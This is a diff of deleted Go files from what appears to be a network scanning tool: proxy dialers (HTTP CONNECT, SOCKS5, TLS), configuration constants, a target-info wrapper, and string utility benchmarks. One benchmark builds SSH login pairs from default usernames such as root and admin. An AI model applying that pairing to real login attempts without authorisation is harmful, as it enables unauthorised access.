return nil, NewProxyError(ErrTypeConnection, ErrMsgHTTPConnFailed, ErrCodeHTTPConnFailed, err)
}
// 发送CONNECT请求
if err := h.sendConnectRequest(proxyConn, address); err != nil {
proxyConn.Close()
atomic.AddInt64(&h.stats.FailedConnections, 1)
h.stats.LastError = err.Error()
return nil, err
}
duration := time.Since(start)
h.stats.LastConnectTime = start
atomic.AddInt64(&h.stats.ActiveConnections, 1)
h.updateAverageConnectTime(duration)
return &trackedConn{
Conn: proxyConn,
stats: h.stats,
}, nil
}
// sendConnectRequest 发送HTTP CONNECT请求
func (h *httpDialer) sendConnectRequest(conn net.Conn, address string) error {
// 构建CONNECT请求
req := fmt.Sprintf(HTTPConnectRequestFormat, address, address)
// 添加认证头
if h.config.Username != "" {
auth := base64.StdEncoding.EncodeToString(
[]byte(h.config.Username + AuthSeparator + h.config.Password))
req += fmt.Sprintf(HTTPAuthHeaderFormat, auth)
}
req += HTTPRequestEndFormat
// 设置写超时
if err := conn.SetWriteDeadline(time.Now().Add(h.config.Timeout)); err != nil {
return NewProxyError(ErrTypeTimeout, ErrMsgHTTPSetWriteTimeout, ErrCodeHTTPSetWriteTimeout, err)
}
// 发送请求
if _, err := conn.Write([]byte(req)); err != nil {
return NewProxyError(ErrTypeConnection, ErrMsgHTTPSendConnectFail, ErrCodeHTTPSendConnectFail, err)
}
// 设置读超时
if err := conn.SetReadDeadline(time.Now().Add(h.config.Timeout)); err != nil {
return NewProxyError(ErrTypeTimeout, ErrMsgHTTPSetReadTimeout, ErrCodeHTTPSetReadTimeout, err)
}
// 读取响应
resp, err := http.ReadResponse(bufio.NewReader(conn), nil)
if err != nil {
return NewProxyError(ErrTypeProtocol, ErrMsgHTTPReadRespFailed, ErrCodeHTTPReadRespFailed, err)
}
defer resp.Body.Close()
// 检查响应状态
if resp.StatusCode != HTTPStatusOK {
return NewProxyError(ErrTypeAuth,
fmt.Sprintf(ErrMsgHTTPProxyAuthFailed, resp.StatusCode), ErrCodeHTTPProxyAuthFailed, nil)
}
// 清除deadline
conn.SetDeadline(time.Time{})
return nil
}
// updateAverageConnectTime 更新平均连接时间
func (h *httpDialer) updateAverageConnectTime(duration time.Duration) {
// 简单的移动平均
if h.stats.AverageConnectTime == 0 {
h.stats.AverageConnectTime = duration
} else {
h.stats.AverageConnectTime = (h.stats.AverageConnectTime + duration) / 2
}
}

View File

@ -1,337 +0,0 @@
package proxy
import (
"context"
"fmt"
"net"
"net/url"
"sync"
"sync/atomic"
"time"
"golang.org/x/net/proxy"
)
// manager 代理管理器实现
type manager struct {
config *ProxyConfig
stats *ProxyStats
mu sync.RWMutex
// 连接池
dialerCache map[string]Dialer
cacheExpiry time.Time
cacheMu sync.RWMutex
}
// NewProxyManager 创建新的代理管理器
func NewProxyManager(config *ProxyConfig) ProxyManager {
if config == nil {
config = DefaultProxyConfig()
}
return &manager{
config: config,
stats: &ProxyStats{
ProxyType: config.Type.String(),
ProxyAddress: config.Address,
},
dialerCache: make(map[string]Dialer),
cacheExpiry: time.Now().Add(DefaultCacheExpiry),
}
}
// GetDialer 获取普通拨号器
func (m *manager) GetDialer() (Dialer, error) {
m.mu.RLock()
config := m.config
m.mu.RUnlock()
switch config.Type {
case ProxyTypeNone:
return m.createDirectDialer(), nil
case ProxyTypeSOCKS5:
return m.createSOCKS5Dialer()
case ProxyTypeHTTP, ProxyTypeHTTPS:
return m.createHTTPDialer()
default:
return nil, NewProxyError(ErrTypeConfig, ErrMsgUnsupportedProxyType, ErrCodeUnsupportedProxyType, nil)
}
}
// GetTLSDialer 获取TLS拨号器
func (m *manager) GetTLSDialer() (TLSDialer, error) {
dialer, err := m.GetDialer()
if err != nil {
return nil, err
}
return &tlsDialerWrapper{
dialer: dialer,
config: m.config,
stats: m.stats,
}, nil
}
// UpdateConfig 更新配置
func (m *manager) UpdateConfig(config *ProxyConfig) error {
if config == nil {
return NewProxyError(ErrTypeConfig, ErrMsgEmptyConfig, ErrCodeEmptyConfig, nil)
}
m.mu.Lock()
defer m.mu.Unlock()
m.config = config
m.stats.ProxyType = config.Type.String()
m.stats.ProxyAddress = config.Address
// 清理缓存
m.cacheMu.Lock()
m.dialerCache = make(map[string]Dialer)
m.cacheExpiry = time.Now().Add(DefaultCacheExpiry)
m.cacheMu.Unlock()
return nil
}
// Close 关闭管理器
func (m *manager) Close() error {
m.cacheMu.Lock()
defer m.cacheMu.Unlock()
m.dialerCache = make(map[string]Dialer)
return nil
}
// Stats 获取统计信息
func (m *manager) Stats() *ProxyStats {
m.mu.RLock()
defer m.mu.RUnlock()
// 返回副本以避免并发问题
statsCopy := *m.stats
return &statsCopy
}
// createDirectDialer 创建直连拨号器
func (m *manager) createDirectDialer() Dialer {
return &directDialer{
timeout: m.config.Timeout,
stats: m.stats,
}
}
// createSOCKS5Dialer 创建SOCKS5拨号器
func (m *manager) createSOCKS5Dialer() (Dialer, error) {
// 检查缓存
cacheKey := fmt.Sprintf(CacheKeySOCKS5, m.config.Address)
m.cacheMu.RLock()
if time.Now().Before(m.cacheExpiry) {
if cached, exists := m.dialerCache[cacheKey]; exists {
m.cacheMu.RUnlock()
return cached, nil
}
}
m.cacheMu.RUnlock()
// 解析代理地址
proxyURL := fmt.Sprintf(SOCKS5URLFormat, m.config.Address)
if m.config.Username != "" {
proxyURL = fmt.Sprintf(SOCKS5URLAuthFormat,
m.config.Username, m.config.Password, m.config.Address)
}
u, err := url.Parse(proxyURL)
if err != nil {
return nil, NewProxyError(ErrTypeConfig, ErrMsgSOCKS5ParseFailed, ErrCodeSOCKS5ParseFailed, err)
}
// 创建基础拨号器
baseDial := &net.Dialer{
Timeout: m.config.Timeout,
KeepAlive: m.config.KeepAlive,
}
// 创建SOCKS5拨号器
var auth *proxy.Auth
if u.User != nil {
auth = &proxy.Auth{
User: u.User.Username(),
}
if password, hasPassword := u.User.Password(); hasPassword {
auth.Password = password
}
}
socksDialer, err := proxy.SOCKS5(NetworkTCP, u.Host, auth, baseDial)
if err != nil {
return nil, NewProxyError(ErrTypeConnection, ErrMsgSOCKS5CreateFailed, ErrCodeSOCKS5CreateFailed, err)
}
dialer := &socks5Dialer{
dialer: socksDialer,
config: m.config,
stats: m.stats,
}
// 更新缓存
m.cacheMu.Lock()
m.dialerCache[cacheKey] = dialer
m.cacheExpiry = time.Now().Add(DefaultCacheExpiry)
m.cacheMu.Unlock()
return dialer, nil
}
// createHTTPDialer 创建HTTP代理拨号器
func (m *manager) createHTTPDialer() (Dialer, error) {
// 检查缓存
cacheKey := fmt.Sprintf(CacheKeyHTTP, m.config.Address)
m.cacheMu.RLock()
if time.Now().Before(m.cacheExpiry) {
if cached, exists := m.dialerCache[cacheKey]; exists {
m.cacheMu.RUnlock()
return cached, nil
}
}
m.cacheMu.RUnlock()
dialer := &httpDialer{
config: m.config,
stats: m.stats,
baseDial: &net.Dialer{
Timeout: m.config.Timeout,
KeepAlive: m.config.KeepAlive,
},
}
// 更新缓存
m.cacheMu.Lock()
m.dialerCache[cacheKey] = dialer
m.cacheExpiry = time.Now().Add(DefaultCacheExpiry)
m.cacheMu.Unlock()
return dialer, nil
}
// directDialer 直连拨号器
type directDialer struct {
timeout time.Duration
stats *ProxyStats
}
func (d *directDialer) Dial(network, address string) (net.Conn, error) {
return d.DialContext(context.Background(), network, address)
}
func (d *directDialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
start := time.Now()
atomic.AddInt64(&d.stats.TotalConnections, 1)
dialer := &net.Dialer{
Timeout: d.timeout,
}
conn, err := dialer.DialContext(ctx, network, address)
duration := time.Since(start)
d.stats.LastConnectTime = start
if err != nil {
atomic.AddInt64(&d.stats.FailedConnections, 1)
d.stats.LastError = err.Error()
return nil, NewProxyError(ErrTypeConnection, ErrMsgDirectConnFailed, ErrCodeDirectConnFailed, err)
}
atomic.AddInt64(&d.stats.ActiveConnections, 1)
d.updateAverageConnectTime(duration)
return &trackedConn{
Conn: conn,
stats: d.stats,
}, nil
}
// socks5Dialer SOCKS5拨号器
type socks5Dialer struct {
dialer proxy.Dialer
config *ProxyConfig
stats *ProxyStats
}
func (s *socks5Dialer) Dial(network, address string) (net.Conn, error) {
return s.DialContext(context.Background(), network, address)
}
func (s *socks5Dialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
start := time.Now()
atomic.AddInt64(&s.stats.TotalConnections, 1)
// 创建一个带超时的上下文
dialCtx, cancel := context.WithTimeout(ctx, s.config.Timeout)
defer cancel()
// 使用goroutine处理拨号以支持取消
connChan := make(chan struct {
conn net.Conn
err error
}, 1)
go func() {
conn, err := s.dialer.Dial(network, address)
select {
case <-dialCtx.Done():
if conn != nil {
conn.Close()
}
case connChan <- struct {
conn net.Conn
err error
}{conn, err}:
}
}()
select {
case <-dialCtx.Done():
atomic.AddInt64(&s.stats.FailedConnections, 1)
s.stats.LastError = dialCtx.Err().Error()
return nil, NewProxyError(ErrTypeTimeout, ErrMsgSOCKS5ConnTimeout, ErrCodeSOCKS5ConnTimeout, dialCtx.Err())
case result := <-connChan:
duration := time.Since(start)
s.stats.LastConnectTime = start
if result.err != nil {
atomic.AddInt64(&s.stats.FailedConnections, 1)
s.stats.LastError = result.err.Error()
return nil, NewProxyError(ErrTypeConnection, ErrMsgSOCKS5ConnFailed, ErrCodeSOCKS5ConnFailed, result.err)
}
atomic.AddInt64(&s.stats.ActiveConnections, 1)
s.updateAverageConnectTime(duration)
return &trackedConn{
Conn: result.conn,
stats: s.stats,
}, nil
}
}
// updateAverageConnectTime 更新平均连接时间
func (d *directDialer) updateAverageConnectTime(duration time.Duration) {
// 简单的移动平均
if d.stats.AverageConnectTime == 0 {
d.stats.AverageConnectTime = duration
} else {
d.stats.AverageConnectTime = (d.stats.AverageConnectTime + duration) / 2
}
}
func (s *socks5Dialer) updateAverageConnectTime(duration time.Duration) {
// 简单的移动平均
if s.stats.AverageConnectTime == 0 {
s.stats.AverageConnectTime = duration
} else {
s.stats.AverageConnectTime = (s.stats.AverageConnectTime + duration) / 2
}
}

View File

@ -1,157 +0,0 @@
package proxy
import (
"context"
"crypto/tls"
"net"
"sync/atomic"
"time"
)
// tlsDialerWrapper TLS拨号器包装器
type tlsDialerWrapper struct {
dialer Dialer
config *ProxyConfig
stats *ProxyStats
}
func (t *tlsDialerWrapper) Dial(network, address string) (net.Conn, error) {
return t.dialer.Dial(network, address)
}
func (t *tlsDialerWrapper) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
return t.dialer.DialContext(ctx, network, address)
}
func (t *tlsDialerWrapper) DialTLS(network, address string, config *tls.Config) (net.Conn, error) {
return t.DialTLSContext(context.Background(), network, address, config)
}
func (t *tlsDialerWrapper) DialTLSContext(ctx context.Context, network, address string, tlsConfig *tls.Config) (net.Conn, error) {
start := time.Now()
// 首先建立TCP连接
tcpConn, err := t.dialer.DialContext(ctx, network, address)
if err != nil {
return nil, NewProxyError(ErrTypeConnection, ErrMsgTLSTCPConnFailed, ErrCodeTLSTCPConnFailed, err)
}
// 创建TLS连接
tlsConn := tls.Client(tcpConn, tlsConfig)
// 设置TLS握手超时
if deadline, ok := ctx.Deadline(); ok {
tlsConn.SetDeadline(deadline)
} else {
tlsConn.SetDeadline(time.Now().Add(t.config.Timeout))
}
// 进行TLS握手
if err := tlsConn.Handshake(); err != nil {
tcpConn.Close()
atomic.AddInt64(&t.stats.FailedConnections, 1)
t.stats.LastError = err.Error()
return nil, NewProxyError(ErrTypeConnection, ErrMsgTLSHandshakeFailed, ErrCodeTLSHandshakeFailed, err)
}
// 清除deadline让上层代码管理超时
tlsConn.SetDeadline(time.Time{})
duration := time.Since(start)
t.updateAverageConnectTime(duration)
return &trackedTLSConn{
trackedConn: &trackedConn{
Conn: tlsConn,
stats: t.stats,
},
isTLS: true,
}, nil
}
// updateAverageConnectTime 更新平均连接时间
func (t *tlsDialerWrapper) updateAverageConnectTime(duration time.Duration) {
// 简单的移动平均
if t.stats.AverageConnectTime == 0 {
t.stats.AverageConnectTime = duration
} else {
t.stats.AverageConnectTime = (t.stats.AverageConnectTime + duration) / 2
}
}
// trackedConn 带统计的连接
type trackedConn struct {
net.Conn
stats *ProxyStats
bytesSent int64
bytesRecv int64
}
func (tc *trackedConn) Read(b []byte) (n int, err error) {
n, err = tc.Conn.Read(b)
if n > 0 {
atomic.AddInt64(&tc.bytesRecv, int64(n))
}
return n, err
}
func (tc *trackedConn) Write(b []byte) (n int, err error) {
n, err = tc.Conn.Write(b)
if n > 0 {
atomic.AddInt64(&tc.bytesSent, int64(n))
}
return n, err
}
func (tc *trackedConn) Close() error {
atomic.AddInt64(&tc.stats.ActiveConnections, -1)
return tc.Conn.Close()
}
// trackedTLSConn 带统计的TLS连接
type trackedTLSConn struct {
*trackedConn
isTLS bool
}
func (ttc *trackedTLSConn) ConnectionState() tls.ConnectionState {
if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
return tlsConn.ConnectionState()
}
return tls.ConnectionState{}
}
func (ttc *trackedTLSConn) Handshake() error {
if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
return tlsConn.Handshake()
}
return nil
}
func (ttc *trackedTLSConn) OCSPResponse() []byte {
if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
return tlsConn.OCSPResponse()
}
return nil
}
func (ttc *trackedTLSConn) PeerCertificates() []*tls.Certificate {
if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
state := tlsConn.ConnectionState()
var certs []*tls.Certificate
for _, cert := range state.PeerCertificates {
certs = append(certs, &tls.Certificate{
Certificate: [][]byte{cert.Raw},
})
}
return certs
}
return nil
}
func (ttc *trackedTLSConn) VerifyHostname(host string) error {
if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
return tlsConn.VerifyHostname(host)
}
return nil
}

View File

@ -1,134 +0,0 @@
package proxy
import (
"context"
"crypto/tls"
"net"
"time"
)
// ProxyType 代理类型
type ProxyType int
const (
ProxyTypeNone ProxyType = iota
ProxyTypeHTTP
ProxyTypeHTTPS
ProxyTypeSOCKS5
)
// String 返回代理类型的字符串表示
func (pt ProxyType) String() string {
switch pt {
case ProxyTypeNone:
return ProxyTypeStringNone
case ProxyTypeHTTP:
return ProxyTypeStringHTTP
case ProxyTypeHTTPS:
return ProxyTypeStringHTTPS
case ProxyTypeSOCKS5:
return ProxyTypeStringSOCKS5
default:
return ProxyTypeStringUnknown
}
}
// ProxyConfig 代理配置
type ProxyConfig struct {
Type ProxyType `json:"type"`
Address string `json:"address"`
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
Timeout time.Duration `json:"timeout"`
MaxRetries int `json:"max_retries"`
KeepAlive time.Duration `json:"keep_alive"`
IdleTimeout time.Duration `json:"idle_timeout"`
MaxIdleConns int `json:"max_idle_conns"`
}
// DefaultProxyConfig 返回默认代理配置
func DefaultProxyConfig() *ProxyConfig {
return &ProxyConfig{
Type: ProxyTypeNone,
Timeout: DefaultProxyTimeout,
MaxRetries: DefaultProxyMaxRetries,
KeepAlive: DefaultProxyKeepAlive,
IdleTimeout: DefaultProxyIdleTimeout,
MaxIdleConns: DefaultProxyMaxIdleConns,
}
}
// Dialer 拨号器接口
type Dialer interface {
Dial(network, address string) (net.Conn, error)
DialContext(ctx context.Context, network, address string) (net.Conn, error)
}
// TLSDialer TLS拨号器接口
type TLSDialer interface {
Dialer
DialTLS(network, address string, config *tls.Config) (net.Conn, error)
DialTLSContext(ctx context.Context, network, address string, config *tls.Config) (net.Conn, error)
}
// ProxyManager 代理管理器接口
type ProxyManager interface {
GetDialer() (Dialer, error)
GetTLSDialer() (TLSDialer, error)
UpdateConfig(config *ProxyConfig) error
Close() error
Stats() *ProxyStats
}
// ProxyStats 代理统计信息
type ProxyStats struct {
TotalConnections int64 `json:"total_connections"`
ActiveConnections int64 `json:"active_connections"`
FailedConnections int64 `json:"failed_connections"`
AverageConnectTime time.Duration `json:"average_connect_time"`
LastConnectTime time.Time `json:"last_connect_time"`
LastError string `json:"last_error,omitempty"`
ProxyType string `json:"proxy_type"`
ProxyAddress string `json:"proxy_address"`
}
// ConnectionInfo 连接信息
type ConnectionInfo struct {
ID string `json:"id"`
RemoteAddr string `json:"remote_addr"`
LocalAddr string `json:"local_addr"`
ProxyAddr string `json:"proxy_addr,omitempty"`
ConnectTime time.Time `json:"connect_time"`
Duration time.Duration `json:"duration"`
BytesSent int64 `json:"bytes_sent"`
BytesRecv int64 `json:"bytes_recv"`
IsTLS bool `json:"is_tls"`
Error string `json:"error,omitempty"`
}
// ProxyError 代理错误类型
type ProxyError struct {
Type string `json:"type"`
Message string `json:"message"`
Code int `json:"code"`
Cause error `json:"cause,omitempty"`
}
func (e *ProxyError) Error() string {
if e.Cause != nil {
return e.Message + ": " + e.Cause.Error()
}
return e.Message
}
// NewProxyError 创建代理错误
func NewProxyError(errType, message string, code int, cause error) *ProxyError {
return &ProxyError{
Type: errType,
Message: message,
Code: code,
Cause: cause,
}
}
// 预定义错误类型已迁移到constants.go

View File

@ -1,179 +0,0 @@
package proxy
import (
"time"
)
/*
constants.go - 代理系统常量定义
统一管理common/proxy包中的所有常量便于查看和编辑
*/
// =============================================================================
// 代理类型常量 (从Types.go迁移)
// =============================================================================
const (
// 代理类型字符串
ProxyTypeStringNone = "none"
ProxyTypeStringHTTP = "http"
ProxyTypeStringHTTPS = "https"
ProxyTypeStringSOCKS5 = "socks5"
ProxyTypeStringUnknown = "unknown"
)
// =============================================================================
// 默认配置常量 (从Types.go迁移)
// =============================================================================
const (
// 默认代理配置值
DefaultProxyTimeout = 30 * time.Second // 默认超时时间
DefaultProxyMaxRetries = 3 // 默认最大重试次数
DefaultProxyKeepAlive = 30 * time.Second // 默认保持连接时间
DefaultProxyIdleTimeout = 90 * time.Second // 默认空闲超时时间
DefaultProxyMaxIdleConns = 10 // 默认最大空闲连接数
)
// =============================================================================
// 错误类型常量 (从Types.go迁移)
// =============================================================================
const (
// 预定义错误类型
ErrTypeConfig = "config_error"
ErrTypeConnection = "connection_error"
ErrTypeAuth = "auth_error"
ErrTypeTimeout = "timeout_error"
ErrTypeProtocol = "protocol_error"
)
// =============================================================================
// 缓存管理常量 (从Manager.go迁移)
// =============================================================================
const (
// 缓存配置
DefaultCacheExpiry = 5 * time.Minute // 默认缓存过期时间
)
// =============================================================================
// 错误代码常量 (从Manager.go和其他文件迁移)
// =============================================================================
const (
// Manager错误代码
ErrCodeUnsupportedProxyType = 1001
ErrCodeEmptyConfig = 1002
// SOCKS5错误代码
ErrCodeSOCKS5ParseFailed = 2001
ErrCodeSOCKS5CreateFailed = 2002
// 直连错误代码
ErrCodeDirectConnFailed = 3001
ErrCodeSOCKS5ConnTimeout = 3002
ErrCodeSOCKS5ConnFailed = 3003
// HTTP代理错误代码
ErrCodeHTTPConnFailed = 4001
ErrCodeHTTPSetWriteTimeout = 4002
ErrCodeHTTPSendConnectFail = 4003
ErrCodeHTTPSetReadTimeout = 4004
ErrCodeHTTPReadRespFailed = 4005
ErrCodeHTTPProxyAuthFailed = 4006
// TLS错误代码
ErrCodeTLSTCPConnFailed = 5001
ErrCodeTLSHandshakeFailed = 5002
)
// =============================================================================
// HTTP协议常量 (从HTTPDialer.go迁移)
// =============================================================================
const (
// HTTP响应状态码
HTTPStatusOK = 200
// HTTP协议常量
HTTPVersion = "HTTP/1.1"
HTTPMethodConnect = "CONNECT"
// HTTP头部常量
HTTPHeaderHost = "Host"
HTTPHeaderProxyAuth = "Proxy-Authorization"
HTTPHeaderAuthBasic = "Basic"
)
// =============================================================================
// 网络协议常量 (从各文件迁移)
// =============================================================================
const (
// 网络协议
NetworkTCP = "tcp"
// 代理协议前缀
ProxyProtocolSOCKS5 = "socks5"
// 认证分隔符
AuthSeparator = ":"
)
// =============================================================================
// 错误消息常量
// =============================================================================
const (
// Manager错误消息
ErrMsgUnsupportedProxyType = "不支持的代理类型"
ErrMsgEmptyConfig = "配置不能为空"
// SOCKS5错误消息
ErrMsgSOCKS5ParseFailed = "SOCKS5代理地址解析失败"
ErrMsgSOCKS5CreateFailed = "SOCKS5拨号器创建失败"
ErrMsgSOCKS5ConnTimeout = "SOCKS5连接超时"
ErrMsgSOCKS5ConnFailed = "SOCKS5连接失败"
// 直连错误消息
ErrMsgDirectConnFailed = "直连失败"
// HTTP代理错误消息
ErrMsgHTTPConnFailed = "连接HTTP代理服务器失败"
ErrMsgHTTPSetWriteTimeout = "设置写超时失败"
ErrMsgHTTPSendConnectFail = "发送CONNECT请求失败"
ErrMsgHTTPSetReadTimeout = "设置读超时失败"
ErrMsgHTTPReadRespFailed = "读取HTTP响应失败"
ErrMsgHTTPProxyAuthFailed = "HTTP代理连接失败状态码: %d"
// TLS错误消息
ErrMsgTLSTCPConnFailed = "建立TCP连接失败"
ErrMsgTLSHandshakeFailed = "TLS握手失败"
)
// =============================================================================
// 缓存键前缀常量 (从Manager.go迁移)
// =============================================================================
const (
// 缓存键前缀
CacheKeySOCKS5 = "socks5_%s"
CacheKeyHTTP = "http_%s"
)
// =============================================================================
// 格式化字符串常量 (从各文件迁移)
// =============================================================================
const (
// SOCKS5 URL格式
SOCKS5URLFormat = "socks5://%s"
SOCKS5URLAuthFormat = "socks5://%s:%s@%s"
// HTTP CONNECT请求格式
HTTPConnectRequestFormat = "CONNECT %s HTTP/1.1\r\nHost: %s\r\n"
HTTPAuthHeaderFormat = "Proxy-Authorization: Basic %s\r\n"
HTTPRequestEndFormat = "\r\n"
)

View File

@ -1,62 +0,0 @@
package common
import (
"context"
)
// TargetInfo 包装HostInfo提供更丰富的功能
type TargetInfo struct {
*HostInfo // 嵌入HostInfo保持向后兼容
context context.Context
metadata map[string]interface{}
}
// NewTargetInfo 创建新的目标信息
func NewTargetInfo(hostInfo HostInfo) *TargetInfo {
return &TargetInfo{
HostInfo: &hostInfo,
context: context.Background(),
metadata: make(map[string]interface{}),
}
}
// WithContext 设置上下文
func (t *TargetInfo) WithContext(ctx context.Context) *TargetInfo {
t.context = ctx
return t
}
// SetMetadata 设置元数据
func (t *TargetInfo) SetMetadata(key string, value interface{}) *TargetInfo {
if t.metadata == nil {
t.metadata = make(map[string]interface{})
}
t.metadata[key] = value
return t
}
// GetMetadata 获取元数据
func (t *TargetInfo) GetMetadata(key string) (interface{}, bool) {
if t.metadata == nil {
return nil, false
}
value, exists := t.metadata[key]
return value, exists
}
// String 返回字符串表示
func (t *TargetInfo) String() string {
return HostInfoString(t.HostInfo)
}
// HasMetadata 检查是否有指定的元数据
func (t *TargetInfo) HasMetadata(key string) bool {
_, exists := t.GetMetadata(key)
return exists
}

View File

@ -1,315 +0,0 @@
package utils
import (
"fmt"
"runtime"
"strings"
"testing"
"time"
)
// BenchmarkStringJoinOriginal 原始字符串连接方法
func BenchmarkStringJoinOriginal(b *testing.B) {
slice := make([]string, 100)
for i := range slice {
slice[i] = fmt.Sprintf("item-%d", i)
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
var result string
if len(slice) > 0 {
result = slice[0]
for j := 1; j < len(slice); j++ {
result += "," + slice[j]
}
}
_ = result
}
}
// BenchmarkStringJoinOptimized 优化后的字符串连接方法
func BenchmarkStringJoinOptimized(b *testing.B) {
slice := make([]string, 100)
for i := range slice {
slice[i] = fmt.Sprintf("item-%d", i)
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
result := JoinStrings(slice, ",")
_ = result
}
}
// BenchmarkIntJoinOriginal 原始整数连接方法
func BenchmarkIntJoinOriginal(b *testing.B) {
slice := make([]int, 100)
for i := range slice {
slice[i] = i * 10
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
var result string
if len(slice) > 0 {
result = fmt.Sprintf("%d", slice[0])
for j := 1; j < len(slice); j++ {
result += "," + fmt.Sprintf("%d", slice[j])
}
}
_ = result
}
}
// BenchmarkIntJoinOptimized 优化后的整数连接方法
func BenchmarkIntJoinOptimized(b *testing.B) {
slice := make([]int, 100)
for i := range slice {
slice[i] = i * 10
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
result := JoinInts(slice, ",")
_ = result
}
}
// BenchmarkDeduplicateOriginal 原始去重方法
func BenchmarkDeduplicateOriginal(b *testing.B) {
slice := make([]string, 1000)
for i := range slice {
slice[i] = fmt.Sprintf("item-%d", i%100) // 10倍重复
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
temp := make(map[string]struct{})
var result []string
for _, item := range slice {
if _, exists := temp[item]; !exists {
temp[item] = struct{}{}
result = append(result, item)
}
}
_ = result
}
}
// BenchmarkDeduplicateOptimized 优化后的去重方法
func BenchmarkDeduplicateOptimized(b *testing.B) {
slice := make([]string, 1000)
for i := range slice {
slice[i] = fmt.Sprintf("item-%d", i%100) // 10倍重复
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
result := DeduplicateStrings(slice)
_ = result
}
}
// BenchmarkSliceAllocationOriginal 原始切片分配方法
func BenchmarkSliceAllocationOriginal(b *testing.B) {
b.ResetTimer()
for i := 0; i < b.N; i++ {
var result []string
for j := 0; j < 50; j++ {
result = append(result, fmt.Sprintf("item-%d", j))
}
_ = result
}
}
// BenchmarkSliceAllocationOptimized 优化后的切片分配方法
func BenchmarkSliceAllocationOptimized(b *testing.B) {
b.ResetTimer()
for i := 0; i < b.N; i++ {
result := make([]string, 0, 50)
for j := 0; j < 50; j++ {
result = append(result, fmt.Sprintf("item-%d", j))
}
_ = result
}
}
// TestMemoryUsage 内存使用情况对比测试
func TestMemoryUsage(t *testing.T) {
// 测试字符串连接的内存使用
t.Run("StringJoin", func(t *testing.T) {
slice := make([]string, 1000)
for i := range slice {
slice[i] = fmt.Sprintf("test-string-%d", i)
}
// 测试原始方法
runtime.GC()
var m1, m2 runtime.MemStats
runtime.ReadMemStats(&m1)
for i := 0; i < 1000; i++ {
var result string
if len(slice) > 0 {
result = slice[0]
for j := 1; j < len(slice); j++ {
result += "," + slice[j]
}
}
_ = result
}
runtime.GC()
runtime.ReadMemStats(&m2)
origAlloc := m2.TotalAlloc - m1.TotalAlloc
// 测试优化方法
runtime.GC()
runtime.ReadMemStats(&m1)
for i := 0; i < 1000; i++ {
result := JoinStrings(slice, ",")
_ = result
}
runtime.GC()
runtime.ReadMemStats(&m2)
optAlloc := m2.TotalAlloc - m1.TotalAlloc
t.Logf("原始方法内存分配: %d bytes", origAlloc)
t.Logf("优化方法内存分配: %d bytes", optAlloc)
t.Logf("内存减少: %.2f%%", float64(origAlloc-optAlloc)/float64(origAlloc)*100)
})
}
// TestPoolReuse 测试对象池复用效果StringBuilderPool
func TestPoolReuse(t *testing.T) {
// 重置计数器
pool := NewStringBuilderPool(1024)
// 执行多次操作
slice := []string{"a", "b", "c", "d", "e"}
for i := 0; i < 100; i++ {
result := pool.JoinStrings(slice, ",")
_ = result
}
// GetReusedCount 方法已移除,无法测试复用次数
t.Log("字符串构建器池测试完成")
// 切片池相关功能已移除,跳过该测试
t.Log("切片池功能已移除")
}
// TestStringBuilderCorrectness 测试字符串构建器正确性
func TestStringBuilderCorrectness(t *testing.T) {
testCases := []struct {
slice []string
sep string
want string
}{
{[]string{}, ",", ""},
{[]string{"a"}, ",", "a"},
{[]string{"a", "b"}, ",", "a,b"},
{[]string{"hello", "world", "test"}, " ", "hello world test"},
{[]string{"1", "2", "3", "4", "5"}, "-", "1-2-3-4-5"},
}
for _, tc := range testCases {
got := JoinStrings(tc.slice, tc.sep)
want := strings.Join(tc.slice, tc.sep)
if got != want {
t.Errorf("JoinStrings(%v, %q) = %q, want %q", tc.slice, tc.sep, got, want)
}
}
}
// TestIntJoinCorrectness 测试整数连接正确性
func TestIntJoinCorrectness(t *testing.T) {
testCases := []struct {
slice []int
sep string
want string
}{
{[]int{}, ",", ""},
{[]int{1}, ",", "1"},
{[]int{1, 2}, ",", "1,2"},
{[]int{10, 20, 30}, "-", "10-20-30"},
}
for _, tc := range testCases {
got := JoinInts(tc.slice, tc.sep)
if got != tc.want {
t.Errorf("JoinInts(%v, %q) = %q, want %q", tc.slice, tc.sep, got, tc.want)
}
}
}
// BenchmarkCredentialGeneration 模拟SSH凭证生成的性能测试
func BenchmarkCredentialGeneration(b *testing.B) {
users := []string{"admin", "root", "user", "test", "guest"}
passwords := make([]string, 20)
for i := range passwords {
passwords[i] = fmt.Sprintf("password%d", i)
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
// 模拟SSH凭证生成过程
totalCreds := len(users) * len(passwords)
credentials := make([]struct{ user, pass string }, 0, totalCreds)
for _, user := range users {
for _, pass := range passwords {
credentials = append(credentials, struct{ user, pass string }{user, pass})
}
}
_ = credentials
}
}
// Example 展示如何使用优化后的工具
func ExampleJoinStrings() {
slice := []string{"apple", "banana", "cherry"}
result := JoinStrings(slice, ", ")
fmt.Println(result)
// Output: apple, banana, cherry
}
func ExampleJoinInts() {
ports := []int{80, 443, 8080, 9090}
result := JoinInts(ports, ",")
fmt.Println(result)
// Output: 80,443,8080,9090
}
// 运行时长度测试 - 验证在不同规模下的表现
func TestScalability(t *testing.T) {
sizes := []int{10, 100, 1000, 5000}
for _, size := range sizes {
t.Run(fmt.Sprintf("Size%d", size), func(t *testing.T) {
// 准备数据
slice := make([]string, size)
for i := range slice {
slice[i] = fmt.Sprintf("item-%d", i)
}
start := time.Now()
result := JoinStrings(slice, ",")
duration := time.Since(start)
t.Logf("规模 %d: 耗时 %v, 结果长度 %d", size, duration, len(result))
// 验证结果正确性(只检查开头和结尾)
expected := strings.Join(slice, ",")
if result != expected {
t.Errorf("结果不匹配")
}
})
}
}

View File

@ -1,49 +0,0 @@
package utils
import (
"time"
)
// MemoryMonitor 内存监控器
type MemoryMonitor struct {
maxHeapMB uint64 // 最大堆内存阈值(MB)
maxGoroutines int // 最大goroutine数量阈值
checkInterval time.Duration // 检查间隔
running bool // 是否运行中
